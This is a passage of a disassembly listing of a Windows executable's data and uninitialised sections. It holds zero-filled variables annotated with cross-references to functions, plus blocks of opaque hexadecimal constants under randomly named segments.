; sub_41ACE0+A33o
dd 3Ch dup(0)
db 3 dup(0)
dword_4404E7 dd 0 ; DATA XREF: sub_41D500+49r
; sub_41D500+154r ...
align 4
dd 35h dup(0)
db 0
byte_4405C1 db 0 ; DATA XREF: sub_41A020+18r
align 4
dd 12h dup(0)
SEH_412160 dd 11h dup(0) ; DATA XREF: sub_412160+2o
db 3 dup(0)
byte_440653 db 0 ; DATA XREF: sub_40C310:loc_40C69Fr
dd 12h dup(0)
byte_44069C db 0 ; DATA XREF: sub_40EB00+842r
align 10h
dd 0Bh dup(0)
dword_4406CC dd 18h dup(0) ; DATA XREF: sub_41BE00+67Ao
db 2 dup(0)
byte_44072E db 0 ; DATA XREF: sub_404890+258r
; sub_41BE00+671r
align 10h
dd 11h dup(0)
db 3 dup(0)
byte_440777 db 0 ; DATA XREF: sub_404890:loc_404B00r
; sub_41BE00:loc_41C489r
dd 0Bh dup(0)
db 3 dup(0)
byte_4407A7 db 0 ; DATA XREF: sub_41BE00+692o
; _294ADE7B:0041E108o ...
dd 12h dup(0)
dword_4407F0 dd 2Bh dup(0) ; DATA XREF: sub_41D500+183o
; sub_41D500+630o
dword_44089C dd 0 ; DATA XREF: sub_426770+1r
dd 0ECh dup(0)
byte_440C50 db 0 ; DATA XREF: sub_41D500+146r
; sub_41D500+5EEr
align 4
dd 3EDh dup(0)
dword_441C08 dd 86h dup(0) ; DATA XREF: sub_41BE00+67Fo
; sub_41BE00+697o ...
db 3 dup(0)
byte_441E23 db 0 ; DATA XREF: sub_4252A0+3Bw
; sub_425310+7Ew ...
dd 7Fh dup(0)
db 3 dup(0)
dword_442023 dd 0 ; DATA XREF: sub_4252A0+18w
; sub_425310+4Fw ...
dword_442027 dd 0 ; DATA XREF: _294ADE7B:00422360r
; _294ADE7B:004227ADw ...
dword_44202B dd 0 ; DATA XREF: sub_4252A0+26w
; sub_425310+5Dr ...
dword_44202F dd 0 ; DATA XREF: sub_4252A0+2Dw
; sub_425310+8Cr ...
dword_442033 dd 0 ; DATA XREF: sub_4252A0+34w
; sub_425310+9Dr
dword_442037 dd 0 ; DATA XREF: _294ADE7B:004227C8w
; _294ADE7B:004227E1r ...
byte_44203B db 0 ; DATA XREF: sub_4252A0+42w
; sub_425310+85w
dd 1Bh dup(0)
db 3 dup(0)
byte_4420AB db 0 ; DATA XREF: _294ADE7B:00411A94o
dd 0DA9h dup(0)
dword_445750 dd 10EFh dup(0) ; DATA XREF: _5AD6BD6B:off_43F97Co
db 3 dup(0)
byte_449B0F db 0 ; DATA XREF: sub_4178D0+140o
dd 1E3h dup(0)
db 0
byte_44A29D db 3 dup(0) ; DATA XREF: sub_40AD70+FAo
dd 0F5h dup(0)
dword_44A674 dd 0 ; DATA XREF: sub_40EB00+E3Ar
dd 0CB8h dup(0)
db 3 dup(0)
byte_44D95B db 0 ; DATA XREF: sub_40EB00+1175o
dd 1C6h dup(0)
db 2 dup(0)
word_44E076 dw 0 ; DATA XREF: sub_40EB00:loc_40F469o
dd 2C1h dup(0)
dword_44EB7C dd 0 ; DATA XREF: sub_40DE40+50r
dd 1032h dup(0)
db 2 dup(0)
word_452C4A dw 0 ; DATA XREF: sub_4064B0+125o
dd 84h dup(0)
db 2 dup(0)
word_452E5E dw 0 ; DATA XREF: sub_40DB00+6Ao
dd 1FEh dup(0)
dword_453658 dd 15D6h dup(0) ; DATA XREF: sub_404890+135o
dword_458DB0 dd 1Ah dup(0) ; DATA XREF: sub_403BE0+1D7o
db 0
byte_458E19 db 3 dup(0) ; DATA XREF: sub_40E390+4CCo
dd 275h dup(0)
db 0
byte_4597F1 db 3 dup(0) ; DATA XREF: sub_4064B0+DEo
dd 365h dup(0)
db 3 dup(0)
byte_45A58B db 0 ; DATA XREF: sub_40EB00+380o
dd 865h dup(0)
db 2 dup(0)
word_45C722 dw 0 ; DATA XREF: _294ADE7B:00407771o
dd 245h dup(0)
db 2 dup(0)
word_45D03A dw 0 ; DATA XREF: _294ADE7B:0040AAF5o
dd 103Bh dup(0)
db 0
byte_461129 db 3 dup(0) ; DATA XREF: sub_40EB00+F02o
dd 1301h dup(0)
db 0
byte_465D31 db 3 dup(0) ; DATA XREF: sub_40EB00:loc_40EB89o
dd 0A3Dh dup(0)
db 2 dup(0)
word_46862A dw 0 ; DATA XREF: sub_4111F0+1Eo
dd 3F3h dup(0)
db 3 dup(0)
byte_4695FB db 0 ; DATA XREF: sub_416AE0:loc_416B20o
dd 1B2h dup(0)
db 3 dup(0)
dword_469CC7 dd 0 ; DATA XREF: sub_409600+Cr
align 4
dd 91Ch dup(0)
dword_46C13C dd 0 ; DATA XREF: _294ADE7B:00419D22r
dd 12E3h dup(0)
db 2 dup(0)
word_470CCE dw 0 ; DATA XREF: sub_40E390+323o
dd 6 dup(0)
SEH_4064B0 dd 1B1h dup(0) ; DATA XREF: sub_4064B0+2o
db 0
byte_4713AD db 3 dup(0) ; DATA XREF: _294ADE7B:0040DFE4o
dd 261h dup(0)
dword_471D34 dd 153h dup(0) ; DATA XREF: _294ADE7B:0040C110o
dword_472280 dd 0CCBh dup(0) ; DATA XREF: _294ADE7B:004076E9o
db 2 dup(0)
SEH_4038B0 dw 0 ; DATA XREF: sub_4038B0+2o
dd 0DDEh dup(0)
db 3 dup(0)
dword_478D2B dd 0 ; DATA XREF: sub_416AE0+18Br
align 10h
dd 1CAEh dup(0)
dword_47FFE8 dd 1EE2h dup(0) ; DATA XREF: sub_407E8F+3FAo
db 3 dup(0)
byte_487B73 db 0 ; DATA XREF: sub_410430+165o
dd 2ABh dup(0)
db 3 dup(0)
dword_488623 dd 0 ; DATA XREF: sub_420EC0+31w
; sub_425540+13o
align 4
dd 44h dup(0)
db 3 dup(0)
byte_48873B db 0 ; DATA XREF: sub_41BE00+1D5o
; sub_41BE00+22Bo ...
dd 5 dup(0)
db 2 dup(0)
byte_488752 db 0 ; DATA XREF: sub_404890+292w
; sub_404890+4EEw
dword_488753 dd 0 ; DATA XREF: sub_421170:loc_4218F9r
; sub_421170:loc_4219CBr
align 4
dd 0
db 3 dup(0)
dword_48875F dd 0 ; DATA XREF: sub_404840+Cr
; sub_404840+2Aw
align 4
dd 2Fh dup(0)
db 3 dup(0)
byte_488823 db 0 ; DATA XREF: sub_4254D0+16o
; sub_425500+19o
db 3 dup(0)
byte_488827 db 0 ; DATA XREF: sub_425400+4Co
dd 83h dup(0)
db 2 dup(0)
dword_488A36 dd 0 ; DATA XREF: sub_421170+E5r
align 4
dd 4Bh dup(0)
db 2 dup(0)
byte_488B6A db 0 ; DATA XREF: sub_426A30:loc_426AE0r
; sub_427080:loc_427135r ...
align 4
dd 3Fh dup(0)
db 0
dword_488C69 dd 0 ; DATA XREF: sub_427080+7Dw
; sub_427080+15Dw
align 10h
dd 229h dup(0)
dword_489514 dd 870h dup(0) ; DATA XREF: sub_404890+261o
dword_48B6D4 dd 90Dh dup(0) ; DATA XREF: sub_4108D0+76o
db 2 dup(0)
word_48DB0A dw 0 ; DATA XREF: sub_403BE0+189o
dd 954h dup(0)
dword_49005C dd 59Fh dup(0) ; DATA XREF: _5AD6BD6B:off_43BD88o
db 2 dup(0)
word_4916DA dw 0 ; DATA XREF: sub_4108D0+13Bo
dd 1AF9h dup(0)
db 3 dup(0)
byte_4982C3 db 0 ; DATA XREF: sub_426E00+1Do
dd 257h dup(0)
db 3 dup(0)
byte_498C23 db 0 ; DATA XREF: sub_426E00+2Fo
dd 15Dh dup(0)
db 0
byte_499199 db 3 dup(0) ; DATA XREF: sub_413AD0+169o
dd 2Eh dup(0)
byte_499254 db 0 ; DATA XREF: sub_404890+299w
; sub_40EB00:loc_40EB42r ...
align 4
dd 14h dup(0)
db 0
byte_4992A9 db 0 ; DATA XREF: _294ADE7B:0041DE61w
; _294ADE7B:0041DE77w ...
db 0
byte_4992AB db 0 ; DATA XREF: sub_41BE00+341o
; sub_41BE00+40Bo ...
dd 3FBh dup(0)
db 2 dup(0)
word_49A29A dw 0 ; DATA XREF: sub_40C310+29o
dd 0CD3h dup(0)
db 0
byte_49D5E9 db 3 dup(0) ; DATA XREF: _294ADE7B:off_401EA6o
dd 2457h dup(0)
db 3 dup(0)
byte_4A674B db 0 ; DATA XREF: sub_40EB00+D82o
dd 226h dup(0)
db 2 dup(0)
word_4A6FE6 dw 0 ; DATA XREF: sub_40EB00+1338o
dd 0DBDh dup(0)
db 0
byte_4AA6DD db 3 dup(0) ; DATA XREF: _294ADE7B:004134B1o
dd 250h dup(0)
dword_4AB020 dd 1000h dup(0) ; DATA XREF: sub_4181B0+35o
dword_4AF020 dd 333h dup(0) ; DATA XREF: _294ADE7B:0041810Fo
; _294ADE7B:00418188o
dword_4AFCEC dd 0 ; DATA XREF: sub_4186E0+12r
; sub_4186E0+1Br ...
dd 2 dup(0)
dword_4AFCF8 dd 0 ; DATA XREF: sub_41E060+66o
; _294ADE7B:0041E10Dw ...
dword_4AFCFC dd 0 ; DATA XREF: sub_41E060+13w
; sub_41E060+2Aw ...
dword_4AFD00 dd 0 ; DATA XREF: _294ADE7B:0041E121w
dword_4AFD04 dd 0 ; DATA XREF: sub_41E060+43w
; _294ADE7B:0041E12Bw
dword_4AFD08 dd 0 ; DATA XREF: _294ADE7B:0041E131w
dword_4AFD0C dd 0 ; DATA XREF: sub_41E060+52w
; _294ADE7B:0041E137w ...
dword_4AFD10 dd 0 ; DATA XREF: sub_41E060+57w
; _294ADE7B:0041E13Dw ...
dword_4AFD14 dd 0 ; DATA XREF: _294ADE7B:0041F374w
; _294ADE7B:0041F379o
dword_4AFD18 dd 0 ; DATA XREF: sub_41E060+Dr
; sub_41E060:loc_41E084r ...
dword_4AFD1C dd 0 ; DATA XREF: sub_41E060:loc_41E0C1r
; _294ADE7B:0041E151w
dword_4AFD20 dd 0 ; DATA XREF: sub_41EB00+2Dw
; sub_41EB00+41w ...
dword_4AFD24 dd 0 ; DATA XREF: sub_41EB00+5Aw
; sub_41EB00+7Fr
dword_4AFD28 dd 0 ; DATA XREF: sub_41EB00+78w
; sub_41EB00+92r ...
dword_4AFD2C dd 0 ; DATA XREF: sub_41EB00+85w
; sub_41EB00+148r
dd 3 dup(0)
dword_4AFD3C dd 0 ; DATA XREF: _294ADE7B:0041A870o
; _294ADE7B:0041A875o
dword_4AFD40 dd 0 ; DATA XREF: sub_421170+5Br
; sub_421E10+5r ...
dword_4AFD44 dd 0 ; DATA XREF: _294ADE7B:00422367r
; _294ADE7B:004225A1r ...
dd 1Dh dup(0)
db 3 dup(0)
SEH_416AE0 db 0 ; DATA XREF: sub_416AE0+8o
dd 53Bh dup(0)
dword_4B12AC dd 35h dup(0) ; DATA XREF: sub_4064B0+F4o
db 0
byte_4B1381 db 3 dup(0) ; DATA XREF: sub_40EB00+A54o
dd 23Fh dup(0)
dword_4B1C80 dd 6 dup(0) ; DATA XREF: _294ADE7B:0042240Co
; _294ADE7B:004224A2o ...
dword_4B1C98 dd 196h dup(0) ; DATA XREF: sub_421D50+62o
; sub_421D50+6Do
dword_4B22F0 dd 0 ; DATA XREF: sub_423580+9Ar
word_4B22F4 dw 0 ; DATA XREF: sub_423580+A9r
align 4
word_4B22F8 dw 0 ; DATA XREF: sub_422CE0+11o
; sub_425960+10r ...
align 4
word_4B22FC dw 0 ; DATA XREF: sub_4239C0+45r
; sub_423DF0+DAr
align 10h
dword_4B2300 dd 0 ; DATA XREF: _294ADE7B:00424C22r
; sub_425960+1Cr ...
byte_4B2304 db 0 ; DATA XREF: sub_425960+3Ar
; _294ADE7B:00425C10r
align 4
byte_4B2308 db 0 ; DATA XREF: sub_425140:loc_4251A0r
; sub_425140+97w
align 4
byte_4B230C db 0 ; DATA XREF: _294ADE7B:00425EDCo
; _294ADE7B:00425F1Bo ...
align 10h
dd 4Ch dup(0)
dword_4B2440 dd 0 ; DATA XREF: sub_425960+45r
word_4B2444 dw 0 ; DATA XREF: sub_425960+26r
align 4
dword_4B2448 dd 0 ; DATA XREF: sub_426A30+4Bw
; sub_426A30+D9r
dword_4B244C dd 0 ; DATA XREF: sub_426A30+31w
; sub_426A30+45r
dword_4B2450 dd 0 ; DATA XREF: sub_426A30+3Ew
; sub_426A30+54r ...
align 8
dword_4B2458 dd 80h dup(0) ; DATA XREF: sub_426E00+AAo
; sub_426E00+129o
dword_4B2658 dd 0 ; DATA XREF: sub_426E00+FFo
dword_4B265C dd 0 ; DATA XREF: sub_426E00+118w
dd 1Dh dup(0)
dword_4B26D4 dd 0 ; DATA XREF: sub_427CB0:loc_427CEAr
; sub_427CB0:loc_427D46r ...
dword_4B26D8 dd 0 ; DATA XREF: sub_42C420+19w
; sub_42C420+2Dr ...
dword_4B26DC dd 0 ; DATA XREF: sub_42C4A0r sub_42C540r ...
dword_4B26E0 dd 0 ; DATA XREF: _294ADE7B:loc_42B2D0r
; sub_42B410r ...
dword_4B26E4 dd 0 ; DATA XREF: sub_42A620r
; sub_42A620+2Fr ...
dword_4B26E8 dd 0 ; DATA XREF: sub_42A850:loc_42A952r
; sub_42A850+111w ...
dword_4B26EC dd 0 ; DATA XREF: sub_42A850+EDr
; sub_42A850+F6r ...
dword_4B26F0 dd 0 ; DATA XREF: _294ADE7B:loc_42B52Ew
; _294ADE7B:loc_42B550r
dword_4B26F4 dd 0 ; DATA XREF: _294ADE7B:0042A0EEr
; sub_42C180+2Cr ...
dd 0Ah dup(0)
dword_4B2720 dd 10h dup(0) ; DATA XREF: sub_42B320+1o
; sub_42B320:loc_42B350o ...
dword_4B2760 dd 8 dup(0) ; DATA XREF: sub_42A6E0+1o
; sub_42A6E0+25o ...
dword_4B2780 dd 8 dup(0) ; DATA XREF: sub_42B830+1o
; sub_42B830+25o ...
dword_4B27A0 dd 8 dup(0) ; DATA XREF: sub_42C660+6Do
; sub_42C700+84o ...
dword_4B27C0 dd 8 dup(0) ; DATA XREF: sub_42C660+66o
; sub_42C700+8Bo ...
dword_4B27E0 dd 9 dup(0) ; DATA XREF: sub_42A850:loc_42A92Bo
; sub_42A850:loc_42A967o ...
dword_4B2804 dd 4 dup(0) ; DATA XREF: sub_4303E4:loc_4303F9o
dword_4B2814 dd 0 ; DATA XREF: sub_4303E4r
; sub_4303E4+1Ao
align 800h
_5AD6BD6B ends
; Section 4. (virtual address 000B3000)
; Virtual size : 00002000 ( 8192.)
; Section size in file : 00002000 ( 8192.)
; Offset to raw data for section: 000B3000
; Flags C00000E0: Text Data Bss Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Uninitialized
; Segment permissions: Read/Write
CEF7B5AD segment para public 'BSS' use32
assume cs:CEF7B5AD
;org 4B3000h
assume es:nothing, ss:nothing, ds:_294ADE7B, fs:nothing, gs:nothing
dd 11C252EBh, 39814FFCh, 0F00D31CDh, 0E201DA0Bh, 67341E78h
dd 0C66B419Fh, 814E7759h, 0E08D5D09h, 72D5C454h, 5F1583h
dd 9C61A18Ch, 79BAEF27h, 0F9CB0ED5h, 0A8D57F09h, 0E2762FA8h
dd 1ABCC40Bh, 684CA2B4h, 954636A1h, 9B1EB464h, 546953A8h
dd 0CEB6DBC3h, 0AE964349h, 0FBD84DE1h, 37791F0Dh, 0DEF87A4Ch
dd 3020A9Ch, 9B774124h, 0EFC16B56h, 5D2CC9EFh, 7EFA0B31h
dd 136E1B35h, 8F583A90h, 71E18455h, 473BB7A8h, 98CD7D33h
dd 89CF39AAh, 0A35FB484h, 0AAF06F2Bh, 0E04A4A97h, 70723A68h
dd 244A4442h, 9BABAB9Fh, 9D53894Fh, 89455B86h, 0E0B8CD2Ah
dd 0CDB0A7FDh, 9398C6CDh, 80FBEBF3h, 926A1A37h, 16BC71A5h
dd 0B71349DAh, 0F3C18DB7h, 0CE7F43BFh, 99E8206h, 1F3A2785h
dd 0AFFD15E0h, 0F7F20C40h, 9BE4D7DBh, 0CCAFF673h, 0E3D87718h
dd 9F862CF1h, 1014AA4h, 0C5E56291h, 0A01A0149h, 5D1E179Eh
dd 0E1ABF7C4h, 6A7ACB96h, 0A62469F1h, 7305116Ah, 0C883CE89h
dd 83159A72h, 5D77D20h, 6EC54EF7h, 0EDDDCED7h, 497D4EACh
dd 5A43EEFEh, 761CC960h, 440442B2h, 1ADEA37Ch, 7CBFF95Ah
dd 313E439Fh, 0AE2143B1h, 87EFA3ACh, 7F7A4BD0h, 0C8889834h
dd 0E0615083h, 2ACB2CA4h, 0B750AC6Eh, 0DCEF0543h, 0CFBDEE56h
dd 0FB21BBEEh, 0A7D53BAEh, 0DF313DD0h, 0DF50BB58h, 47B3E592h
dd 0E7BAC1h, 12D75BB6h, 5CAFF5D9h, 1FBB8CF4h, 5CF8B9A0h
dd 1BEA735Ah, 0D5A5B64Eh, 8096C58Ah, 3DAFAF91h, 0F836DD03h
dd 4931CF07h, 96BD3CB5h, 0E6463A82h, 0FBA29E9h, 6DB372E1h
dd 0F80AC9BEh, 0ED9256EBh, 0BB7653F3h, 20EEFC09h, 0A6F020D4h
dd 66B4B711h, 88492909h, 8CE2E8Eh, 0E452CE06h, 0B817321Dh
dd 0CCB3366Fh, 8BF6533Fh, 0FC618251h, 4CF69D55h, 1299AC96h
dd 5F0D38EBh, 7E454C53h, 26A822D6h, 6D9E3B42h, 0C9C19033h
dd 14695B45h, 0B24B939Ch, 3B122EACh, 71395866h, 571F6B12h
dd 0B0220309h, 59DF29AEh, 62EC4825h, 18F20D19h, 8A963FDEh
dd 6981034Eh, 476F8AD5h, 9FF51D73h, 7BE2CDD3h, 0A267D484h
dd 0FE14C1Bh, 0F80A0949h, 9B9256EBh, 2B32FC95h, 0B799270Eh
dd 7088A22Bh, 44A3F2B9h, 0FF7BB7D3h, 0DDB8A9FEh, 0CB30BFDDh
dd 6EF2E9BBh, 576C1325h, 70A9A93Eh, 0EEDD7434h, 0C051021Eh
dd 0A21EC6CAh, 0D05B194Dh, 0BA27D39Eh, 7C61E09Ah, 0C8891FD7h
dd 0FE422EE6h, 65242211h, 8C244AB3h, 0E22120E1h, 532A14DCh
dd 0CFCD8555h, 113945D9h, 753EE3h, 272B07FEh, 40A204h
dd 4F314A6Ah, 48EB3EB6h, 22CFB400h, 85E68354h, 0A6D4BF0Fh
dd 92233B69h, 5F795693h, 63BB915Fh, 0B010F1E2h, 293C3267h
dd 28454F78h, 0E775D2F1h, 0C8D09097h, 10896C12h, 5AB59E2Ch
dd 14A6581h, 321E1F01h, 26717E12h, 71855FCCh, 47F370FFh
dd 0DCED3CF1h, 46A70375h, 0D9D4E65Ch, 0FE6C22ABh, 3813C5DEh
dd 76F7E84Bh, 2F6117C3h, 72DFCAEAh, 4F560853h, 8F753EEBh
dd 25F7EC95h, 181282F0h, 2F31D970h, 136C949h, 64E0CA7Ah
dd 862D5A9Dh, 0F24ED404h, 937740B1h, 4F2894E8h, 77A63BFBh
dd 8CE29FEh, 1D6F6106h, 1AC3ADDEh, 368469D1h, 0A553C67Ch
dd 15E2906Dh, 8BC824F1h, 0A7362687h, 0B6394717h, 0A897932Eh
dd 0C2C8487Bh, 0B80629E4h, 7EC236E7h, 5BE30B47h, 0CA3ACF23h
dd 894C2C87h, 0F97D6946h, 0FB3222B3h, 0F6454A82h, 0A6C04EF4h
dd 81793B8Bh, 89579B36h, 735A01BFh, 3E3FF93Bh, 0EC1E351Bh
dd 0AA5EC7C6h, 64700F57h, 37FB2473h, 2543D162h, 3E32F989h
dd 10956B4Eh, 0A556F484h, 0A9A6EAC7h, 603E81CBh, 4523D2B3h
dd 49C229FEh, 17554E22h, 2B13E317h, 0D0214522h, 0ECFA4287h
dd 0B79CF2D7h, 0ABA79B7Fh, 0E588DD68h, 5EFB35A1h, 84379581h
dd 0DD30FD42h, 0DE17CACCh, 0F80871F8h, 0E43956EBh, 0E9987290h
dd 8819070Ah, 53A557A8h, 0E88ACEEh, 0A63C0FB8h, 54F4B64Fh
dd 432B8752h, 5764B6EBh, 210E840Ch, 8BA62CDBh, 0DA208553h
dd 539AF389h, 81055AEFh, 35F273D2h, 0D5F0006Bh, 8117FE4Ch
dd 213A5999h, 8A5BDA7Ch, 0BB4661BFh, 68FAFF29h, 0DDCD40D9h
dd 48A57387h, 893CC303h, 0BC2883C9h, 0F4237BAh, 99859E3Dh
dd 4C95A74Eh, 805D01Fh, 899143CEh, 827AE914h, 75A4E0FCh
dd 271FE733h, 0A98F736Dh, 0E2ADF08Bh, 7B0CC154h, 38F58912h
dd 63A4BBA6h, 0C82ACBA3h, 0A3872CA2h, 0D2EA44E1h, 73CA968Dh
dd 34BCBF2h, 2710DF03h, 0FC372AEBh, 0B68158B3h, 6DD7E1DBh
dd 17FDF435h, 0B5827D77h, 18C96D11h, 0F94C432Ch, 9C3615D1h
dd 0D5C6B2B8h, 2D9A1B58h, 9EABF03Fh, 66EC6DE8h, 0DC304DD3h
dd 0BDBCF4C3h, 0CAE64381h, 0A068AF85h, 48EE345Fh, 32AA7B46h
dd 0CE2005ECh, 697E4385h, 90894875h, 46800756h, 7B916C9Eh
dd 663C3EB7h, 0A7A0FA43h, 77FD2C23h, 0D077A166h, 7F2C813Dh
dd 9F148B52h, 2E9CFE2h, 4D6B9B9Dh, 36FBDED8h, 6CB7F717h
dd 7071AD27h, 30E231DFh, 0BAF8772Eh, 2149EF1Ch, 1E8EBD6h
dd 9F30B18Ch, 8AA28F67h, 0E8FAFED6h, 0DDE7E502h, 51862878h
dd 414C6EC7h, 269FC05h, 2FAA9BDEh, 88B7F35Fh, 462B8206h
dd 62F13DD1h, 0E3BEA3D8h, 4EA8B4EFh, 3705D506h, 0F5C4AA6Eh
dd 8A4E56F5h, 5563953Eh, 88A0850Ah, 937BF162h, 11ED1861h
dd 313D534Bh, 243E7A4Dh, 539FA87Fh, 8946F441h, 29154F06h
dd 73EAF42Bh, 0D01A0E32h, 495B79Ch, 0D5B0BA78h, 57D3EC26h
dd 0F0384F13h, 358233A6h, 69355700h, 0DA82731Ah, 35648FFAh
dd 73F0F935h, 0AC0C7045h, 70763063h, 0B80DF8FEh, 3A269D83h
dd 9BB91170h, 3BD29967h, 72D99F8Fh, 2DABE0FCh, 0FE868AC3h
dd 94E2CC50h, 224624A5h, 0D90739F9h, 0CA378E3Bh, 4C794AEBh
dd 753BD871h, 9F398322h, 26DD6DD6h, 797C6A24h, 0E227D64Eh
dd 1CC34D99h, 6D87DABCh, 0EB9C7736h, 0BD3BDF1Dh, 33929869h
dd 7EF8D75Fh, 0DC381A8Fh, 1FB4D2BCh, 0EEB52F21h, 3345534Bh
dd 0CEDF5C2Dh, 0F9BEF088h, 269A504Ah, 0A2D23E1Dh, 8D99E24Eh
dd 0FC48889Ah, 587B5BFAh, 0A98A4F65h, 4916AF5Eh, 87B46ED2h
dd 0DC410250h, 0C14C9E86h, 3118A4Dh, 2490310Ah, 38137E77h
dd 0AE209A72h, 0E6710E6Bh, 0CBD2593Ah, 0B5362E5Fh, 6919416Eh
dd 0D29D732Eh, 0BDBCA2C6h, 4EDFAA8Ah, 0A24F941Fh, 7FEA22C1h
dd 0F37A2862h, 0D6911174h, 0D6354AB6h, 21172AD4h, 0A99175E2h
dd 0A4DAF5Eh, 0E246427Fh, 0A8CB2CA4h, 92F57697h, 94ADFC38h
dd 6373A460h, 435CB2C4h, 68AC3C25h, 0F7F43886h, 0B764D7DBh
dd 1C4DFBAFh, 0A24F94FCh, 0A6A93A43h, 168CADD2h, 7D361399h
dd 0DE394BB6h
dword_4B3720 dd 1A892EDCh ; DATA XREF: sub_41E9A0+22r
; _294ADE7B:004309E4r
dword_4B3724 dd 70F5AE79h ; DATA XREF: sub_41E9A0+28r
; _294ADE7B:004309DEr
dword_4B3728 dd 0EC241227h ; DATA XREF: sub_41E9A0+46r
; _294ADE7B:004309D8r
dword_4B372C dd 903DCCDEh ; DATA XREF: sub_41EDB0+219r
; _294ADE7B:004309EAr
dword_4B3730 dd 51000552h ; DATA XREF: sub_404890+E3Dr
; sub_40D530+24Cr ...
dword_4B3734 dd 4708EE60h ; DATA XREF: sub_41E9A0+71r
; _294ADE7B:004309D2r
dword_4B3738 dd 0B6BE48CFh ; DATA XREF: sub_41E6C0+D1r
; sub_41EDB0+31Cr ...
dword_4B373C dd 0F39E4982h ; DATA XREF: sub_41E1D0+49r
; _294ADE7B:004309C6r
dword_4B3740 dd 456CF264h ; DATA XREF: _294ADE7B:0041E149r
; _294ADE7B:004309C0r
dword_4B3744 dd 0A4013F45h ; DATA XREF: sub_41E060+76r
; _294ADE7B:0041E174r ...
dword_4B3748 dd 93D1C406h ; DATA XREF: _294ADE7B:004309B4r
dword_4B374C dd 1B9DA595h ; DATA XREF: sub_41E8D0+35r
; _294ADE7B:004309AEr
dword_4B3750 dd 0C7BBA90Dh ; DATA XREF: sub_41E8D0+5Er
; _294ADE7B:004309A8r
dword_4B3754 dd 0D9EAFBA9h ; DATA XREF: sub_41E8D0+52r
; _294ADE7B:004309A2r
dword_4B3758 dd 416802AFh ; DATA XREF: sub_41E8D0+11r
; sub_41EDB0+26r ...
dword_4B375C dd 8856B8Ah ; DATA XREF: _294ADE7B:00430996r
dword_4B3760 dd 0BEEE89B3h ; DATA XREF: sub_40DB00+D7r
; sub_40DB00+15Er ...
dword_4B3764 dd 0D4348AFEh ; DATA XREF: _294ADE7B:0043098Ar
dword_4B3768 dd 3F5C2BD2h ; DATA XREF: sub_40CFB0+22Cr
; sub_40D530+22Cr ...
dword_4B376C dd 0B2165607h ; DATA XREF: _294ADE7B:0043097Er
dword_4B3770 dd 26EC3569h ; DATA XREF: sub_404890+D65r
; sub_41E6C0+B3r ...
dword_4B3774 dd 0A467FE9Dh ; DATA XREF: _294ADE7B:00430972r
dword_4B3778 dd 81820F66h ; DATA XREF: sub_404890+DE4r
; sub_40D530+25Ar ...
dd 3735ED27h, 0F7B8309Fh, 6243CA96h, 10D28CB8h, 0BE329AF1h
dd 0E04CD689h, 57F33A68h, 6D0880F7h, 200EC402h, 0B6F9AA6Ch
dd 0D76CA5D1h, 0A8214D58h, 0EDC0AD42h, 0A0AAB6EDh, 5AEAABB0h
dword_4B37B8 dd 0FE30911h ; DATA XREF: sub_430ADAr
dd 0CD1B9D56h
db 91h, 0A2h
word_4B37C2 dw 7C69h ; DATA XREF: sub_404890+1324o
dd 3E19C315h, 0C317A284h, 1A672955h, 277B260Bh, 28742E63h
dd 0FC2C7550h, 6A2A482Ah, 60D017D8h, 6B344E33h
dword_4B37E8 dd 0BF24E71Eh ; DATA XREF: _294ADE7B:00430954r
dword_4B37EC dd 572CB8A4h ; DATA XREF: sub_42EA30+19r
; _294ADE7B:0043094Er
dword_4B37F0 dd 2BE92D00h ; DATA XREF: sub_42EA30+22r
; _294ADE7B:00430948r
dword_4B37F4 dd 54C8BB6h ; DATA XREF: sub_42E890+6Fr
; _294ADE7B:00430942r
dword_4B37F8 dd 37C2D605h ; DATA XREF: sub_42E7F0:loc_42E815r
; _294ADE7B:0043093Cr
dword_4B37FC dd 0D623F1AFh ; DATA XREF: sub_42E730+6Cr
; _294ADE7B:00430936r
dword_4B3800 dd 287D478Dh ; DATA XREF: sub_42E160+15r
; sub_42E1B0+1Cr ...
dword_4B3804 dd 5B9A6C1Bh ; DATA XREF: sub_42DE60+45r
; _294ADE7B:0043092Ar
dword_4B3808 dd 621A6D22h ; DATA XREF: _294ADE7B:0042DD49r
; _294ADE7B:0042DDD9r ...
dword_4B380C dd 4D3F410h ; DATA XREF: sub_42DB90+73r
; _294ADE7B:0043091Er
dword_4B3810 dd 9F4146BDh ; DATA XREF: sub_42CC60+17r
; _294ADE7B:00430918r
dword_4B3814 dd 0E8521824h ; DATA XREF: sub_42C4A0+35r
; sub_42C540+35r ...
dword_4B3818 dd 945921A8h ; DATA XREF: sub_42C420+3Dr
; sub_42C4A0+4Ar ...
dword_4B381C dd 0D4AD3A4h ; DATA XREF: sub_42B6E0+4Br
; _294ADE7B:00430906r
dword_4B3820 dd 6A7C2FDh ; DATA XREF: sub_42B570+4Fr
; _294ADE7B:00430900r
dword_4B3824 dd 3D1FD154h ; DATA XREF: sub_42B410+32r
; _294ADE7B:004308FAr
dword_4B3828 dd 8E7FCDF6h ; DATA XREF: sub_42B410+57r
; _294ADE7B:004308F4r
dword_4B382C dd 34BCC6Eh ; DATA XREF: _294ADE7B:0042B3AFr
; sub_42BC70+34r ...
dword_4B3830 dd 0EAAE0303h ; DATA XREF: sub_42B320+1Er
; sub_42B410+73r ...
dword_4B3834 dd 4CA4388h ; DATA XREF: _294ADE7B:0042A4F8r
; _294ADE7B:004308E2r
dword_4B3838 dd 0DD53B6D4h ; DATA XREF: _294ADE7B:0042A526r
; _294ADE7B:004308DCr
dword_4B383C dd 0C4D13DCCh ; DATA XREF: _294ADE7B:0042A53Dr
; _294ADE7B:004308D6r
dword_4B3840 dd 213791F2h ; DATA XREF: _294ADE7B:0042A54Dr
; sub_42B0F0+C3r ...
dword_4B3844 dd 0DF6EDA7Ch ; DATA XREF: _294ADE7B:0042A56Br
; _294ADE7B:004308CAr
dword_4B3848 dd 0FF665E00h ; DATA XREF: sub_42A250+47r
; _294ADE7B:0042A357r ...
dword_4B384C dd 8BA35FFh ; DATA XREF: sub_42A250+63r
; _294ADE7B:0042A373r ...
dword_4B3850 dd 13710A80h ; DATA XREF: _294ADE7B:0042A070r
; sub_42BC70+78r ...
dword_4B3854 dd 3603F8FFh ; DATA XREF: sub_425310+34r
; _294ADE7B:004308B2r
dword_4B3858 dd 0FFA5B1E7h ; DATA XREF: _294ADE7B:00424D7Ar
; _294ADE7B:004308ACr
dword_4B385C dd 3315FF11h ; DATA XREF: _294ADE7B:00422700r
; _294ADE7B:0042293Er ...
dword_4B3860 dd 0C6CC27ACh ; DATA XREF: _294ADE7B:0042270Br
; sub_42B8A0+B1r ...
